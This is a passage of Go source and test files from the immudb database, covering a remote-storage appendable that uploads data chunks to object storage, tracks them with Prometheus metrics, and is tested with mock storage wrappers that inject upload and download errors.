r.chunkInfos[currAppID].storageSize = fi.Size() } } for _, info := range r.chunkInfos { states[info.state.String()]++ sizes[info.state.String()] += info.storageSize } r.mutex.Unlock() for state, count := range states { metricsChunkCounts.With(prometheus.Labels{ "path": r.remotePath, "state": state, }).Set(float64(count)) } for state, size := range sizes { metricsChunkDataBytes.With(prometheus.Labels{ "path": r.remotePath, "state": state, }).Set(float64(size)) } return nil } var _ appendable.Appendable = (*RemoteStorageAppendable)(nil) ================================================ FILE: embedded/appendable/remoteapp/remote_app_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package remoteapp import ( "context" "errors" "fmt" "io" "io/ioutil" "os" "path/filepath" "sync" "sync/atomic" "testing" "time" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/appendable/singleapp" "github.com/codenotary/immudb/embedded/remotestorage" "github.com/codenotary/immudb/embedded/remotestorage/memory" "github.com/prometheus/client_golang/prometheus/testutil" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestOpenInllegalArguments(t *testing.T) { dir := t.TempDir() app, err := Open(dir, "", memory.Open(), nil) require.ErrorIs(t, err, ErrIllegalArguments) require.Nil(t, app) app, err = Open(dir, "", nil, DefaultOptions()) require.ErrorIs(t, err, ErrIllegalArguments) require.Nil(t, app) app, err = Open(dir, "remotepath", memory.Open(), DefaultOptions()) require.Equal(t, ErrIllegalArguments, err, "remotePath must end with '/'") require.Nil(t, app) app, err = Open(dir, "/remotepath/", memory.Open(), DefaultOptions()) require.Equal(t, ErrIllegalArguments, err, "remotePath must not start with '/'") require.Nil(t, app) app, err = Open(dir, "remote//path/", memory.Open(), DefaultOptions()) require.Equal(t, ErrIllegalArguments, err, "remote path must not contain '//'") require.Nil(t, app) } func TestOpenMultiappError(t *testing.T) { fl := filepath.Join(t.TempDir(), "testfile") require.NoError(t, ioutil.WriteFile(fl, []byte{}, 0777)) app, err := Open(fl, "", memory.Open(), DefaultOptions()) require.NotNil(t, err) require.Nil(t, app) } func TestOpenRemoteStorageAppendable(t *testing.T) { app, err := Open(t.TempDir(), "", memory.Open(), DefaultOptions()) require.NoError(t, err) err = app.Close() require.NoError(t, err) err = app.Close() require.ErrorIs(t, err, multiapp.ErrAlreadyClosed) } func TestOpenRemoteStorageAppendableCompression(t *testing.T) { opts := DefaultOptions() opts.WithCompressionFormat(appendable.FlateCompression). WithCompresionLevel(appendable.BestCompression) app, err := Open(t.TempDir(), "", memory.Open(), opts) require.ErrorIs(t, err, ErrCompressionNotSupported) require.Nil(t, app) } func TestRemoteStorageOpenAppendableInvalidName(t *testing.T) { app, err := Open(t.TempDir(), "", memory.Open(), DefaultOptions()) require.NoError(t, err) subApp, err := app.OpenAppendable(singleapp.DefaultOptions(), "invalid-app-name", false) require.Error(t, err) require.Nil(t, subApp) } const testWaitTimeout = 10 * time.Second func waitForObject(mem *memory.Storage, objectName string) bool { startWait := time.Now() for { if exists, _ := mem.Exists(context.Background(), objectName); exists { return true } if time.Since(startWait) > testWaitTimeout { return false } time.Sleep(time.Millisecond) } } func waitForRemoval(fileName string) bool { startWait := time.Now() for { if _, err := os.Stat(fileName); errors.Is(err, os.ErrNotExist) { return true } if time.Since(startWait) > testWaitTimeout { return false } time.Sleep(time.Millisecond) } } func waitForChunkState(app *RemoteStorageAppendable, chunkID int, state chunkState) bool { startWait := time.Now() for { app.mutex.Lock() if len(app.chunkInfos) > chunkID && app.chunkInfos[chunkID].state == state { app.mutex.Unlock() return true } app.mutex.Unlock() if time.Since(startWait) > testWaitTimeout { return false } time.Sleep(time.Millisecond) } } func waitForFile(fileName string, maxWait time.Duration) bool { startWait := time.Now() for { if st, err := os.Stat(fileName); err == nil && st.Mode().IsRegular() { return true } if time.Since(startWait) > maxWait { return false } time.Sleep(time.Millisecond) } } func TestWritePastFirstChunk(t *testing.T) { path := t.TempDir() opts := DefaultOptions() opts.WithFileSize(10) opts.WithMaxOpenedFiles(3) mem := memory.Open() app, err := Open(path, "", mem, opts) require.NoError(t, err) testData := []byte("Large buffer") offs, n, err := app.Append(testData) assert.EqualValues(t, 0, offs) assert.EqualValues(t, 12, n) require.NoError(t, err) err = app.Flush() // Needs an explicit flush, it's managed on the immustore layer require.NoError(t, err) // Ensure the chunk is uploaded to a remote storage assert.True(t, waitForObject(mem, "00000000.aof")) readData := make([]byte, 12) n, err = app.ReadAt(readData, 0) require.NoError(t, err) assert.EqualValues(t, n, 12) assert.EqualValues(t, testData, readData) // Append some more data testData2 := []byte("Even larger buffer spanning across multiple files") offs, n, err = app.Append(testData2) require.NoError(t, err) assert.EqualValues(t, 12, offs) assert.EqualValues(t, 49, n) err = app.Flush() // Needs an explicit flush, it's managed on the immustore layer require.NoError(t, err) assert.True(t, waitForObject(mem, "00000005.aof")) // Cache shuld contain chunks: 3, 4, 5 now, 6th is the active one assert.True(t, waitForRemoval(fmt.Sprintf("%s/00000000.aof", path))) assert.True(t, waitForRemoval(fmt.Sprintf("%s/00000001.aof", path))) assert.True(t, waitForRemoval(fmt.Sprintf("%s/00000002.aof", path))) readData = make([]byte, 12+49) n, err = app.ReadAt(readData, 0) require.NoError(t, err) assert.EqualValues(t, n, 12+49) assert.EqualValues(t, append(testData, testData2...), readData) err = app.Close() require.NoError(t, err) } func prepareLocalTestFiles(t *testing.T) string { path := t.TempDir() mapp, err := multiapp.Open(path, multiapp.DefaultOptions().WithFileSize(10).WithFileExt("tst")) require.NoError(t, err) _, _, err = mapp.Append([]byte("Some pretty long string to cross a chunk boundary")) require.NoError(t, err) err = mapp.Close() require.NoError(t, err) for i := 0; i < 5; i++ { require.FileExists(t, fmt.Sprintf("%s/%08d.tst", path, i)) } return path } func TestRemoteAppUploadOnStartup(t *testing.T) { path := prepareLocalTestFiles(t) opts := DefaultOptions() opts.WithFileExt("tst") mem := memory.Open() app, err := Open(path, "", mem, opts) require.NoError(t, err) for i := 0; i < 4; i++ { require.True(t, waitForObject(mem, fmt.Sprintf("%08d.tst", i))) require.True(t, waitForRemoval(fmt.Sprintf("%s/%08d.tst", path, i))) } err = app.Close() require.NoError(t, err) } func TestReopenOnCleanShutdownWhenEmpty(t *testing.T) { path := t.TempDir() mem := memory.Open() opts := DefaultOptions() opts.WithFileExt("tst") opts.WithFileSize(10) app, err := Open(path, "", mem, opts) require.NoError(t, err) require.FileExists(t, fmt.Sprintf("%s/00000000.tst", path)) err = app.Close() require.NoError(t, err) require.FileExists(t, fmt.Sprintf("%s/00000000.tst", path)) exists, err := mem.Exists(context.Background(), "00000000.tst") require.NoError(t, err) require.True(t, exists) err = os.RemoveAll(path) require.NoError(t, err) app, err = Open(path, "", mem, opts) require.NoError(t, err) require.True(t, waitForFile(fmt.Sprintf("%s/00000000.tst", path), time.Second)) size, err := app.Size() require.NoError(t, err) require.EqualValues(t, 0, size) } func TestReopenFromRemoteStorageOnCleanShutdown(t *testing.T) { path := t.TempDir() mem := memory.Open() opts := DefaultOptions() opts.WithFileExt("tst") opts.WithFileSize(10) app, err := Open(path, "", mem, opts) require.NoError(t, err) dataWritten := []byte("Some pretty long string to cross a chunk boundary") offs, n, err := app.Append(dataWritten) require.NoError(t, err) require.EqualValues(t, 0, offs) require.EqualValues(t, len(dataWritten), n) require.True(t, waitForRemoval(fmt.Sprintf("%s/00000003.tst", path))) err = app.Close() require.NoError(t, err) require.FileExists(t, fmt.Sprintf("%s/00000004.tst", path)) exists, err := mem.Exists(context.Background(), "00000004.tst") require.NoError(t, err) require.True(t, exists) err = os.RemoveAll(path) require.NoError(t, err) app, err = Open(path, "", mem, opts) require.NoError(t, err) require.True(t, waitForFile(fmt.Sprintf("%s/00000004.tst", path), time.Second)) dataRead := make([]byte, len(dataWritten)) n, err = app.ReadAt(dataRead, 0) require.NoError(t, err) require.EqualValues(t, len(dataWritten), n) require.Equal(t, dataWritten, dataRead) } func TestRemoteStorageMetrics(t *testing.T) { mStarted := testutil.ToFloat64(metricsUploadStarted) mFinished := testutil.ToFloat64(metricsUploadFinished) mFailed := testutil.ToFloat64(metricsUploadFailed) mSucceeded := testutil.ToFloat64(metricsUploadSucceeded) path := t.TempDir() mem := memory.Open() opts := DefaultOptions() opts.WithFileExt("tst").WithFileSize(10) app, err := Open(path, "", mem, opts) require.NoError(t, err) dataWritten := []byte("Some pretty long string to cross a chunk boundary") offs, n, err := app.Append(dataWritten) require.NoError(t, err) require.EqualValues(t, 0, offs) require.EqualValues(t, len(dataWritten), n) for i := 0; i < 4; i++ { require.True(t, waitForChunkState(app, i, chunkState_Remote)) } err = app.Flush() require.NoError(t, err) err = app.calculateChunkMetrics() require.NoError(t, err) for _, d := range []struct { state string expectedCount int expectedStorage int }{ {"Active", 1, 198}, {"Remote", 4, 4 * 199}, {"Uploading", 0, 0}, } { t.Run("Checking count for "+d.state, func(t *testing.T) { g, err := metricsChunkCounts.GetMetricWithLabelValues("", d.state) require.NoError(t, err) require.EqualValues(t, d.expectedCount, testutil.ToFloat64(g)) g, err = metricsChunkDataBytes.GetMetricWithLabelValues("", d.state) require.NoError(t, err) require.EqualValues(t, d.expectedStorage, testutil.ToFloat64(g)) }) } require.EqualValues(t, 4, testutil.ToFloat64(metricsUploadStarted)-mStarted) require.EqualValues(t, 4, testutil.ToFloat64(metricsUploadFinished)-mFinished) require.EqualValues(t, 4, testutil.ToFloat64(metricsUploadSucceeded)-mSucceeded) require.EqualValues(t, 0, testutil.ToFloat64(metricsUploadFailed)-mFailed) } type remoteStorageMockingWrapper struct { wrapped remotestorage.Storage fnGet func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) fnPut func(ctx context.Context, name string, fileName string, next func() error) error fnExists func(ctx context.Context, name string, next func() (bool, error)) (bool, error) fnListEntries func(ctx context.Context, path string, next func() (entries []remotestorage.EntryInfo, subPaths []string, err error)) (entries []remotestorage.EntryInfo, subPaths []string, err error) } func (r *remoteStorageMockingWrapper) Kind() string { return r.wrapped.Kind() } func (r *remoteStorageMockingWrapper) String() string { return r.wrapped.String() } func (r *remoteStorageMockingWrapper) Get(ctx context.Context, name string, offs, size int64) (io.ReadCloser, error) { if r.fnGet != nil { return r.fnGet(ctx, name, offs, size, func() (io.ReadCloser, error) { return r.wrapped.Get(ctx, name, offs, size) }) } return r.wrapped.Get(ctx, name, offs, size) } func (r *remoteStorageMockingWrapper) Put(ctx context.Context, name string, fileName string) error { if r.fnPut != nil { return r.fnPut(ctx, name, fileName, func() error { return r.wrapped.Put(ctx, name, fileName) }) } return r.wrapped.Put(ctx, name, fileName) } func (r *remoteStorageMockingWrapper) Remove(ctx context.Context, name string) error { panic("unimplemented") } func (r *remoteStorageMockingWrapper) RemoveAll(ctx context.Context, path string) error { panic("unimplemented") } func (r *remoteStorageMockingWrapper) Exists(ctx context.Context, name string) (bool, error) { if r.fnExists != nil { return r.fnExists(ctx, name, func() (bool, error) { return r.wrapped.Exists(ctx, name) }) } return r.wrapped.Exists(ctx, name) } func (r *remoteStorageMockingWrapper) ListEntries(ctx context.Context, path string) (entries []remotestorage.EntryInfo, subPaths []string, err error) { if r.fnListEntries != nil { return r.fnListEntries(ctx, path, func() (entries []remotestorage.EntryInfo, subPaths []string, err error) { return r.wrapped.ListEntries(ctx, path) }) } return r.wrapped.ListEntries(ctx, path) } func TestRemoteStorageUploadRetry(t *testing.T) { mRetries := testutil.ToFloat64(metricsUploadRetried) path := t.TempDir() // Injecting exactly one error in put, get and exists operations var putErrInjected int32 var getErrInjected int32 var existsErrInjected int32 mem := &remoteStorageMockingWrapper{ wrapped: memory.Open(), fnPut: func(ctx context.Context, name, fileName string, next func() error) error { if name == "00000000.tst" && atomic.CompareAndSwapInt32(&putErrInjected, 0, 1) { return errors.New("Injected error") } return next() }, fnGet: func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) { if name == "00000001.tst" && atomic.CompareAndSwapInt32(&getErrInjected, 0, 1) { return nil, errors.New("Injected error") } return next() }, fnExists: func(ctx context.Context, name string, next func() (bool, error)) (bool, error) { if name == "00000002.tst" && atomic.CompareAndSwapInt32(&existsErrInjected, 0, 1) { return false, errors.New("Injected error") } return next() }, } opts := DefaultOptions().WithRetryMinDelay(time.Microsecond).WithRetryMaxDelay(time.Microsecond) opts.WithFileExt("tst").WithFileSize(10) app, err := Open(path, "", mem, opts) require.NoError(t, err) dataWritten := []byte("Some pretty long string to cross a chunk boundary") _, _, err = app.Append(dataWritten) require.NoError(t, err) err = app.Close() require.NoError(t, err) require.EqualValues(t, 3, testutil.ToFloat64(metricsUploadRetried)-mRetries) } func TestRemoteStorageUploadCancel(t *testing.T) { path := t.TempDir() for _, name := range []string{"Put", "Get", "Exists"} { t.Run(name, func(t *testing.T) { require.NoError(t, os.RemoveAll(path)) var getErrInjected int32 retryWait := sync.WaitGroup{} retryWait.Add(1) // Injecting exactly one error in put, get and exists operations mem := &remoteStorageMockingWrapper{ wrapped: memory.Open(), } switch name { case "Put": mem.fnPut = func(ctx context.Context, name, fileName string, next func() error) error { if name == "00000000.tst" { if atomic.CompareAndSwapInt32(&getErrInjected, 0, 1) { retryWait.Done() } return errors.New("Neverending error") } return next() } case "Get": mem.fnGet = func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) { if name == "00000000.tst" { if atomic.CompareAndSwapInt32(&getErrInjected, 0, 1) { retryWait.Done() } return nil, errors.New("Neverending error") } return next() } case "Exists": mem.fnExists = func(ctx context.Context, name string, next func() (bool, error)) (bool, error) { if name == "00000000.tst" && atomic.CompareAndSwapInt32(&getErrInjected, 0, 1) { retryWait.Done() return false, errors.New("Neverending error") } return next() } } opts := DefaultOptions() opts.WithFileExt("tst").WithFileSize(10) app, err := Open(path, "", mem, opts) require.NoError(t, err) dataWritten := []byte("Some pretty long string to cross a chunk boundary") _, _, err = app.Append(dataWritten) require.NoError(t, err) retryWait.Wait() app.mainCancelFunc() require.True(t, waitForChunkState(app, 0, chunkState_Local)) }) } } func TestRemoteStorageUploadCancelWhenThrottled(t *testing.T) { path := t.TempDir() // Injecting exactly one error in put, get and exists operations mem := &remoteStorageMockingWrapper{ wrapped: memory.Open(), fnPut: func(ctx context.Context, name, fileName string, next func() error) error { // Upload wil be retried indefinitely occupying the slot return errors.New("Neverending error") }, } opts := DefaultOptions() opts.WithParallelUploads(1) opts.WithFileExt("tst").WithFileSize(10) app, err := Open(path, "", mem, opts) require.NoError(t, err) // Write past 0th chunk, upload that starts should occupy the slot _, _, err = app.Append(make([]byte, 11)) require.NoError(t, err) require.True(t, waitForChunkState(app, 0, chunkState_Uploading)) // Write some more data to spawn more upload goroutines - those should stop on the throttler _, _, err = app.Append(make([]byte, 40)) require.NoError(t, err) require.True(t, waitForChunkState(app, 1, chunkState_Uploading)) // After cancellation, chunks should get back to the local state app.mainCancelFunc() require.True(t, waitForChunkState(app, 0, chunkState_Local)) require.True(t, waitForChunkState(app, 1, chunkState_Local)) } func _TestRemoteStorageUploadUnrecoverableError(t *testing.T) { path := t.TempDir() mUploadFailed := testutil.ToFloat64(metricsUploadFailed) existReached := sync.WaitGroup{} existReached.Add(1) existContinue := sync.WaitGroup{} existContinue.Add(1) // Injecting exactly one error in put, get and exists operations mem := &remoteStorageMockingWrapper{ wrapped: memory.Open(), fnExists: func(ctx context.Context, name string, next func() (bool, error)) (bool, error) { if name == "00000000.tst" { existReached.Done() existContinue.Wait() } return next() }, } opts := DefaultOptions() opts.WithFileExt("tst").WithFileSize(10) app, err := Open(path, "", mem, opts) require.NoError(t, err) dataWritten := []byte("Some pretty long string to cross a chunk boundary") _, _, err = app.Append(dataWritten) require.NoError(t, err) // Wait for all chunks but the first one to finish uploading for i := 1; i < 4; i++ { require.True(t, waitForChunkState(app, i, chunkState_Remote)) } // Remove the folder during `exists` check - that way // there will be an error while trying to removing the file existReached.Wait() err = os.RemoveAll(path) require.NoError(t, err) existContinue.Done() require.True(t, waitForChunkState(app, 0, chunkState_UploadError)) require.EqualValues(t, 1, testutil.ToFloat64(metricsUploadFailed)-mUploadFailed) } type errReader struct { err error } func (e errReader) Read([]byte) (int, error) { return 0, e.err } func _TestRemoteStorageDownloadRetry(t *testing.T) { path := t.TempDir() for _, errKind := range []string{"Open", "Read"} { t.Run(errKind, func(t *testing.T) { mRetries := testutil.ToFloat64(metricsDownloadRetried) require.NoError(t, os.RemoveAll(path)) mem := memory.Open() opts := DefaultOptions().WithRetryMinDelay(time.Microsecond).WithRetryMaxDelay(time.Microsecond) opts.WithFileExt("tst").WithFileSize(10) app, err := Open(path, "", mem, opts) require.NoError(t, err) dataWritten := []byte("Some pretty long string to cross a chunk boundary") _, _, err = app.Append(dataWritten) require.NoError(t, err) err = app.Close() require.NoError(t, err) require.NoError(t, os.RemoveAll(path)) var errInjected int32 memErr := &remoteStorageMockingWrapper{wrapped: mem} switch errKind { case "Open": memErr.fnGet = func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) { if name == "00000004.tst" && atomic.CompareAndSwapInt32(&errInjected, 0, 1) { return nil, errors.New("Injected error") } return next() } case "Read": memErr.fnGet = func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) { if name == "00000004.tst" && atomic.CompareAndSwapInt32(&errInjected, 0, 1) { return ioutil.NopCloser(errReader{errors.New("Injected error")}), nil } return next() } } app, err = Open(path, "", memErr, opts) require.NoError(t, err) dataRead := make([]byte, len(dataWritten)) n, err := app.ReadAt(dataRead, 0) require.NoError(t, err) require.EqualValues(t, len(dataWritten), n) err = app.Close() require.NoError(t, err) require.EqualValues(t, 1, testutil.ToFloat64(metricsDownloadRetried)-mRetries) }) } } func TestRemoteStorageDownloadCancel(t *testing.T) { path := t.TempDir() for _, errKind := range []string{"Open", "Read"} { t.Run(errKind, func(t *testing.T) { require.NoError(t, os.RemoveAll(path)) mem := memory.Open() opts := DefaultOptions().WithRetryMinDelay(time.Microsecond).WithRetryMaxDelay(time.Microsecond) opts.WithFileExt("tst").WithFileSize(10) app, err := Open(path, "", mem, opts) require.NoError(t, err) dataWritten := []byte("Some pretty long string to cross a chunk boundary") _, _, err = app.Append(dataWritten) require.NoError(t, err) err = app.Close() require.NoError(t, err) require.NoError(t, os.RemoveAll(path)) var errInjected int32 retryWait := sync.WaitGroup{} retryWait.Add(1) memErr := &remoteStorageMockingWrapper{wrapped: mem} switch errKind { case "Open": memErr.fnGet = func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) { if name == "00000003.tst" { if atomic.CompareAndSwapInt32(&errInjected, 0, 1) { retryWait.Done() } return nil, errors.New("Injected error") } return next() } case "Read": memErr.fnGet = func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) { if name == "00000003.tst" { if atomic.CompareAndSwapInt32(&errInjected, 0, 1) { retryWait.Done() } return ioutil.NopCloser(errReader{errors.New("Injected error")}), nil } return next() } } app, err = Open(path, "", memErr, opts) require.NoError(t, err) // Switch active chunk to 00000003 setOffsetWg := sync.WaitGroup{} setOffsetWg.Add(1) var setOffsetErr error go func() { // SetOffset will block until we cancel setOffsetErr = app.SetOffset(35) setOffsetWg.Done() }() retryWait.Wait() // Cancel and check if everything propagated correctly app.mainCancelFunc() setOffsetWg.Wait() require.Error(t, setOffsetErr) }) } } func TestRemoteStorageDownloadUnrecoverableError(t *testing.T) { path := t.TempDir() mDownloadFailed := testutil.ToFloat64(metricsDownloadFailed) mem := memory.Open() opts := DefaultOptions().WithRetryMinDelay(time.Microsecond).WithRetryMaxDelay(time.Microsecond) opts.WithFileExt("tst").WithFileSize(10) app, err := Open(path, "", mem, opts) require.NoError(t, err) dataWritten := []byte("Some pretty long string to cross a chunk boundary") _, _, err = app.Append(dataWritten) require.NoError(t, err) err = app.Close() require.NoError(t, err) require.NoError(t, os.RemoveAll(path)) memErr := &remoteStorageMockingWrapper{ wrapped: mem, fnGet: func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) { if name == "00000003.tst" { // Remove local folder to cause errors when creating a temporary file os.RemoveAll(path) } return next() }, } app, err = Open(path, "", memErr, opts) require.NoError(t, err) // Switch active chunk to 00000003 err = app.SetOffset(35) require.Error(t, err) require.EqualValues(t, 1, testutil.ToFloat64(metricsDownloadFailed)-mDownloadFailed) } func TestRemoteStorageOpenChunkWhenUploading(t *testing.T) { path := prepareLocalTestFiles(t) mem := &remoteStorageMockingWrapper{ wrapped: memory.Open(), fnPut: func(ctx context.Context, name, fileName string, next func() error) error { if name == "00000003.tst" { return errors.New("Neverending upload") } return next() }, } opts := DefaultOptions() opts.WithFileExt("tst").WithFileSize(10) app, err := Open(path, "", mem, opts) require.NoError(t, err) require.True(t, waitForChunkState(app, 0, chunkState_Remote)) require.True(t, waitForChunkState(app, 1, chunkState_Remote)) require.True(t, waitForChunkState(app, 2, chunkState_Remote)) require.True(t, waitForChunkState(app, 3, chunkState_Uploading)) require.True(t, waitForChunkState(app, 4, chunkState_Active)) // Read chunk while it's being uploaded readBytes := make([]byte, 8) n, err := app.ReadAt(readBytes, 31) require.NoError(t, err) require.EqualValues(t, 8, n) require.Equal(t, []byte("s a chun"), readBytes) // Switch chunk to active while it's being uploaded err = app.SetOffset(35) require.NoError(t, err) require.True(t, waitForChunkState(app, 3, chunkState_Active)) require.True(t, waitForChunkState(app, 4, chunkState_Local)) } func TestRemoteStorageOpenInitialAppendableMissingRemoteChunk(t *testing.T) { path := t.TempDir() // Prepare test dataset opts := DefaultOptions() opts.WithFileSize(10) opts.WithFileExt("tst") m := &remoteStorageMockingWrapper{wrapped: memory.Open()} app, err := Open(path, "", m, opts) require.NoError(t, err) _, _, err = app.Append([]byte("Even larger buffer spanning across multiple files")) require.NoError(t, err) require.True(t, waitForRemoval(fmt.Sprintf("%s/00000000.tst", path))) err = app.Close() require.NoError(t, err) // Simulate missing file on a remote storage m.fnExists = func(ctx context.Context, name string, next func() (bool, error)) (bool, error) { if name == "00000000.tst" { return false, nil } return next() } m.fnGet = func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) { if name == "00000000.tst" { return nil, remotestorage.ErrNotFound } return next() } m.fnListEntries = func(ctx context.Context, path string, next func() (entries []remotestorage.EntryInfo, subPaths []string, err error)) (entries []remotestorage.EntryInfo, subPaths []string, err error) { e, s, err := next() require.True(t, e[0].Name == "00000000.tst") return e[1:], s, err } // Opening should fail now app, err = Open(path, "", m, opts) require.ErrorIs(t, err, ErrMissingRemoteChunk) require.Nil(t, app) } func TestRemoteStorageOpenInitialAppendableCorruptedLocalFile(t *testing.T) { path := t.TempDir() // Prepare test dataset opts := DefaultOptions() opts.WithFileSize(10) opts.WithFileExt("tst") m := &remoteStorageMockingWrapper{wrapped: memory.Open()} app, err := Open(path, "", m, opts) require.NoError(t, err) _, _, err = app.Append([]byte("Even larger buffer spanning across multiple files")) require.NoError(t, err) require.True(t, waitForRemoval(fmt.Sprintf("%s/00000000.tst", path))) err = app.Close() require.NoError(t, err) // Local file smaller than a corresponding remote object indicates data corruption err = ioutil.WriteFile(fmt.Sprintf("%s/00000000.tst", path), []byte{}, 0777) require.NoError(t, err) // Opening should fail now app, err = Open(path, "", m, opts) require.ErrorIs(t, err, ErrInvalidRemoteStorage) require.Nil(t, app) } ================================================ FILE: embedded/appendable/remoteapp/remote_storage_reader.go ================================================ package remoteapp import ( "context" "encoding/binary" "io" "io/ioutil" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/remotestorage" "github.com/prometheus/client_golang/prometheus" ) type remoteStorageReader struct { r remotestorage.Storage name string baseOffset int64 dataCache []byte // Initially we read the whole object into data cache } func openRemoteStorageReader(r remotestorage.Storage, name string) (*remoteStorageReader, error) { defer prometheus.NewTimer(metricsOpenTime).ObserveDuration() ctx := context.Background() // Read header reader, err := r.Get(ctx, name, 0, -1) if err != nil { metricsUncachedReadErrors.Inc() return nil, err } data, err := ioutil.ReadAll(reader) reader.Close() if err != nil { metricsUncachedReadErrors.Inc() return nil, err } metricsUncachedReads.Inc() metricsUncachedReadBytes.Add(float64(len(data))) if len(data) < 4 { metricsCorruptedMetadata.Inc() return nil, ErrCorruptedMetadata } // TODO: Read the metadata and validate it baseOffset := int64(4 + binary.BigEndian.Uint32(data[:4])) if baseOffset > int64(len(data)) { metricsCorruptedMetadata.Inc() return nil, ErrCorruptedMetadata } return &remoteStorageReader{ r: r, name: name, baseOffset: baseOffset, dataCache: data[baseOffset:], }, nil } func (r *remoteStorageReader) Metadata() []byte { panic("unimplemented") } func (r *remoteStorageReader) Size() (int64, error) { panic("unimplemented") } func (r *remoteStorageReader) Offset() int64 { panic("unimplemented") } func (r *remoteStorageReader) SetOffset(off int64) error { panic("unimplemented") } func (r *remoteStorageReader) DiscardUpto(off int64) error { panic("unimplemented") } func (r *remoteStorageReader) Append(bs []byte) (off int64, n int, err error) { panic("unimplemented") } func (r *remoteStorageReader) CompressionFormat() int { panic("unimplemented") } func (r *remoteStorageReader) CompressionLevel() int { panic("unimplemented") } func (r *remoteStorageReader) Flush() error { return nil } func (r *remoteStorageReader) Sync() error { return nil } func (r *remoteStorageReader) SwitchToReadOnlyMode() error { return nil } func (r *remoteStorageReader) ReadAt(bs []byte, off int64) (int, error) { if off < 0 { return 0, ErrIllegalArguments } if off > int64(len(r.dataCache)) { return 0, io.EOF } readBytes := copy(bs, r.dataCache[off:]) metricsReads.Inc() metricsReadBytes.Add(float64(readBytes)) if readBytes < len(bs) { return readBytes, io.EOF } return readBytes, nil // reader, err := r.r.Get(context.Background(), r.name, off+r.baseOffset, int64(len(bs))) // if err != nil { // return 0, err // } // n, err := return io.ReadAtLeast(reader, bs, 1) // if err != nil { // return n, err // } // if n < len(bs) { // return n, io.EOF // } // return n, nil } func (r *remoteStorageReader) Close() error { return nil } func (r *remoteStorageReader) Copy(dstPath string) error { panic("unimplemented") } var _ appendable.Appendable = (*remoteStorageReader)(nil) ================================================ FILE: embedded/appendable/remoteapp/remote_storage_reader_test.go ================================================ package remoteapp import ( "context" "errors" "io" "io/ioutil" "os" "testing" "github.com/codenotary/immudb/embedded/remotestorage" "github.com/codenotary/immudb/embedded/remotestorage/memory" "github.com/stretchr/testify/require" ) func tmpFile(t *testing.T, data []byte) (fileName string, cleanup func()) { fl, err := ioutil.TempFile("", "") require.NoError(t, err) _, err = fl.Write(data) require.NoError(t, err) err = fl.Close() require.NoError(t, err) return fl.Name(), func() { os.Remove(fl.Name()) } } func storeData(t *testing.T, s remotestorage.Storage, name string, data []byte) { fl, c := tmpFile(t, data) defer c() err := s.Put(context.Background(), name, fl) require.NoError(t, err) } func TestRemoteStorageReaderUnsupportedMethods(t *testing.T) { r := remoteStorageReader{} require.Panics(t, func() { r.Metadata() }) require.Panics(t, func() { r.Size() }) require.Panics(t, func() { r.Offset() }) require.Panics(t, func() { r.SetOffset(0) }) require.Panics(t, func() { r.Append([]byte{0}) }) require.Panics(t, func() { r.DiscardUpto(0) }) require.Panics(t, func() { r.CompressionFormat() }) require.Panics(t, func() { r.CompressionLevel() }) require.Panics(t, func() { r.Copy("/tmp") }) } func TestRemoteStorageFlush(t *testing.T) { r := remoteStorageReader{} require.NoError(t, r.Flush()) } func TestRemoteStorageSync(t *testing.T) { r := remoteStorageReader{} require.NoError(t, r.Sync()) } func TestRemoteStorageSwitchToReadOnlyMode(t *testing.T) { r := remoteStorageReader{} require.NoError(t, r.SwitchToReadOnlyMode()) } func TestRemoteStorageReadAt(t *testing.T) { m := memory.Open() storeData(t, m, "fl", []byte{ 0, 0, 0, 4, // Dummy empty header 0, 0, 0, 0, 1, 2, 3, 4, // Data, 4 bytes }) r, err := openRemoteStorageReader(m, "fl") require.NoError(t, err) b := make([]byte, 4) n, err := r.ReadAt(b, 0) require.NoError(t, err) require.EqualValues(t, 4, n) require.Equal(t, []byte{1, 2, 3, 4}, b) n, err = r.ReadAt(make([]byte, 10), 0) require.EqualValues(t, 4, n) require.Equal(t, io.EOF, err) n, err = r.ReadAt(make([]byte, 2), 3) require.EqualValues(t, 1, n) require.Equal(t, io.EOF, err) n, err = r.ReadAt(make([]byte, 2), -1) require.EqualValues(t, 0, n) require.ErrorIs(t, err, ErrIllegalArguments) n, err = r.ReadAt(make([]byte, 2), 4) require.EqualValues(t, 0, n) require.Equal(t, io.EOF, err) n, err = r.ReadAt(make([]byte, 2), 5) require.EqualValues(t, 0, n) require.Equal(t, io.EOF, err) } func TestRemoteStorageCorruptedHeader(t *testing.T) { for _, d := range []struct { name string bytes []byte }{ {"less than 4 bytes", []byte{0, 0, 0}}, {"not enough header bytes", []byte{0, 0, 0, 5, 0, 0, 0, 0}}, } { t.Run(d.name, func(t *testing.T) { m := memory.Open() storeData(t, m, "fl", d.bytes) r, err := openRemoteStorageReader(m, "fl") require.ErrorIs(t, err, ErrCorruptedMetadata) require.Nil(t, r) }) } } type remoteStorageErrorInjector struct { remotestorage.Storage err error errDuringRead bool } func (r *remoteStorageErrorInjector) Get(ctx context.Context, name string, offs, size int64) (io.ReadCloser, error) { if r.errDuringRead { return ioutil.NopCloser(errReader{r.err}), nil } return nil, r.err } func TestRemoteStorageOpenError(t *testing.T) { for _, duringRead := range []bool{false, true} { m := &remoteStorageErrorInjector{ 